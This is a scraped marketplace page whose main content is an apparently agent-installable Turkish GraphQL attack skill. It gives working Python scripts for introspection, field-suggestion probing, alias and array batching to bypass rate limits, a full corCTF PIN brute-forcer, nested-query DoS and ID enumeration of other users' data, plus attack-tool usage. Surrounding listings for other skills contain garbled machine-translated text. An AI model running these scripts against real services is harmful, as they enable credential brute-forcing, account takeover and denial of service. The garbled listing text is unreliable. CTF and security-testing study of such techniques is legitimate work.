21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
GraphQL saldırıları — introspection, aliased query batching, rate limit bypass
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Introspection ile tüm query/mutation/type bilgisini çek. Uygulamalar bunu kapatmayı unutabilir.
import requests
import json
TARGET = "http://<IP>:<PORT>/graphql"
# Standart introspection query
INTROSPECTION_QUERY = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) {
name
isDeprecated
}
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
"""
def introspect(url, headers=None):
"""GraphQL şemasını çek ve yazdır"""
if headers is None:
headers = {"Content-Type": "application/json"}
r = requests.post(url, json={"query": INTROSPECTION_QUERY}, headers=headers)
if r.status_code != 200:
print(f"[!] Introspection başarısız: {r.status_code}")
print(r.text[:300])
return None
data = r.json()
if "errors" in data:
print("[!] Introspection kapalı veya hata:", data["errors"])
return None
schema = data["data"]["__schema"]
print(f"[*] Query tipi: {schema['queryType']}")
print(f"[*] Mutation tipi: {schema['mutationType']}")
print(f"\n[*] Tüm tipler:")
for t in schema["types"]:
if not t["name"].startswith("__"):
print(f" {t['kind']}: {t['name']}")
if t.get("fields"):
for f in t["fields"]:
args = ", ".join(a["name"] for a in f.get("args", []))
print(f" .{f['name']}({args})")
return schema
# Introspection'ı başlat
schema = introspect(TARGET)
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Introspection kapalı olsa bile __type ile tek tip sorgulayabilirsin
r = requests.post(TARGET, json={
"query": '{ __type(name: "User") { name fields { name type { name } } } }'
})
print(r.json())
# Field suggestion: yanlış alan adı yaz, GraphQL "Did you mean X?" der
r = requests.post(TARGET, json={
"query": '{ user { passw } }' # "passw" yok ama "password" varsa öneri gelir
})
print(r.text)
GraphQL, tek request'te birden fazla query çalıştırmaya izin verir — alias kullanarak. Rate limit IP başına request sayısını sayıyorsa, 10000 alias = 10000 deneme = 1 request.
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Tek request'te birden fazla query (array batching)
batch_query = [
{"query": 'query { user(id: 1) { name } }'},
{"query": 'query { user(id: 2) { name } }'},
{"query": 'mutation { login(username:"admin", password:"pass1") { token } }'},
]
r = requests.post(TARGET, json=batch_query)
print(r.json())
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Alias ile aynı mutation'ı farklı argümanlarla çalıştır
# Rate limit 1 request = 1 deneme sayıyorsa, her alias ayrı denemedir
passwords = ["password", "admin", "123456", "letmein", "qwerty"]
aliases = "\n".join([
f' attempt_{i}: login(username: "admin", password: "{pwd}") {{ token success }}'
for i, pwd in enumerate(passwords)
])
query = f"mutation {{\n{aliases}\n}}"
print("Query:")
print(query)
r = requests.post(TARGET, json={"query": query})
data = r.json()
for i, pwd in enumerate(passwords):
result = data["data"].get(f"attempt_{i}", {})
if result.get("success") or result.get("token"):
print(f"[!] BULUNDU: password={pwd}, token={result.get('token')}")
Senaryo: Fastify + Mercurius GraphQL sunucusu. 6 haneli PIN (10^6 olasılık). Rate limit request bazlı. Tek request'e 10000 alias sığdırılıyor → 100 request ile tüm uzay taranıyor.
#!/usr/bin/env python3
"""
corCTF 2023 - force
GraphQL aliased batching ile 10^6 PIN brute force
100 request x 10000 alias = 1.000.000 deneme
"""
import requests
import json
TARGET = "http://<HEDEF_IP>:<PORT>/graphql"
USERNAME = "admin"
ALIASES_PER_REQUEST = 10000
SESSION = requests.Session()
# SESSION.proxies = {"http": "http://127.0.0.1:8080"}
def build_pin_query(pin_start, count):
"""pin_start'tan itibaren 'count' adet PIN'i tek sorguda dene"""
aliases = []
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
# PIN 6 hane, leading zero ile
pin_str = f"{pin:06d}"
alias = f" p{pin_str}: login(username: \"{USERNAME}\", pin: \"{pin_str}\") {{ success token flag }}"
aliases.append(alias)
query = "mutation {\n" + "\n".join(aliases) + "\n}"
return query
def check_response(data, pin_start, count):
"""Response'da başarılı giriş ara"""
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
pin_str = f"{pin:06d}"
result = data.get(f"p{pin_str}", {})
if result and (result.get("success") or result.get("token") or result.get("flag")):
return pin_str, result
return None, None
def main():
print(f"[*] Hedef: {TARGET}")
print(f"[*] Toplam deneme: 1.000.000 PIN")
print(f"[*] Request başına alias: {ALIASES_PER_REQUEST}")
print(f"[*] Toplam request: {1000000 // ALIASES_PER_REQUEST}")
print()
for batch_num in range(1000000 // ALIASES_PER_REQUEST):
pin_start = batch_num * ALIASES_PER_REQUEST
query = build_pin_query(pin_start, ALIASES_PER_REQUEST)
print(f"[*] Batch {batch_num + 1}: PIN {pin_start:06d} - {pin_start + ALIASES_PER_REQUEST - 1:06d}", end=" ... ")
try:
r = SESSION.post(
TARGET,
json={"query": query},
headers={"Content-Type": "application/json"},
timeout=30
)
if r.status_code != 200:
print(f"HATA: {r.status_code}")
continue
data = r.json().get("data", {})
found_pin, result = check_response(data, pin_start, ALIASES_PER_REQUEST)
if found_pin:
print(f"\n[!!!] PIN BULUNDU: {found_pin}")
print(f" Sonuç: {json.dumps(result, indent=2)}")
return
print("OK")
except requests.exceptions.Timeout:
print("TIMEOUT — tekrar deniyor...")
# Aynı batch'i tekrar dene
batch_num -= 1
continue
except Exception as e:
print(f"HATA: {e}")
print("[*] Tüm PIN'ler denendi, bulunamadı.")
if __name__ == "__main__":
main()
# Mercurius hem array batch hem alias destekler
# Bunları birleştirince çarpım etkisi:
# 10 array batch x 1000 alias = 10000 deneme / request
import requests
TARGET = "http://<IP>:<PORT>/graphql"
def mega_batch(pin_start, aliases_per=1000, arrays=10):
batch = []
for arr_idx in range(arrays):
start = pin_start + arr_idx * aliases_per
aliases = "\n".join([
f' p{(start+i):06d}: login(pin: "{(start+i):06d}") {{ success flag }}'
for i in range(aliases_per)
if start + i <= 999999
])
batch.append({"query": f"mutation {{\n{aliases}\n}}"})
return batch
r = requests.post(TARGET, json=mega_batch(0))
print(r.status_code, r.text[:200])
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Nested query ile DoS (depth limit yoksa)
nested = "user { friends { friends { friends { friends { name } } } } }"
r = requests.post(TARGET, json={"query": f"{{ {nested} }}"})
print(r.status_code)
# "Did you mean X?" mesajlarını kullan
import requests
TARGET = "http://<IP>:<PORT>/graphql"
fields_to_probe = ["pass", "passwd", "pwd", "secret", "flag", "key", "token", "auth"]
for field in fields_to_probe:
r = requests.post(TARGET, json={"query": f'{{ user {{ {field} }} }}'})
if "Did you mean" in r.text or "suggestion" in r.text.lower():
print(f"[*] '{field}' için öneri:", r.json())
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Kendi token'ın ile başka kullanıcıların datasına eriş
headers = {"Authorization": "Bearer <senin_tokenin>"}
for user_id in range(1, 100):
r = requests.post(
TARGET,
json={"query": f'{{ user(id: {user_id}) {{ id username email flag }} }}'},
headers=headers
)
data = r.json().get("data", {}).get("user", {})
if data and data.get("flag"):
print(f"[!] Flag bulundu user_id={user_id}: {data['flag']}")
elif data:
print(f" user_id={user_id}: {data}")
# Kurulum
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip3 install -r requirements.txt
# Kullanım
python3 graphqlmap.py -u http://<IP>/graphql --method POST
# Kurulum
pip3 install clairvoyance
# Kullanım (introspection kapalı endpoint için field tahmin)
clairvoyance http://<IP>/graphql -o schema.json
# Wordlist ile
clairvoyance http://<IP>/graphql -o schema.json -w /usr/share/wordlists/rockyou.txt
1. Burp'ta /graphql endpoint'ini bul
2. Sağ tık → Send to Repeater
3. Content-Type: application/json yap
4. Body: {"query": "{ __typename }"} — sunucu graphql mi?
5. InQL Burp extension ile introspection otomatik yap
clairvoyance veya elle probe et./graphql?query={user{name}}まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
日本語の概要は準備中です。原文の説明を表示しています。
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
日本語の概要は準備中です。原文の説明を表示しています。
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
日本語の概要は準備中です。原文の説明を表示しています。
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
日本語の概要は準備中です。原文の説明を表示しています。
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
日本語の概要は準備中です。原文の説明を表示しています。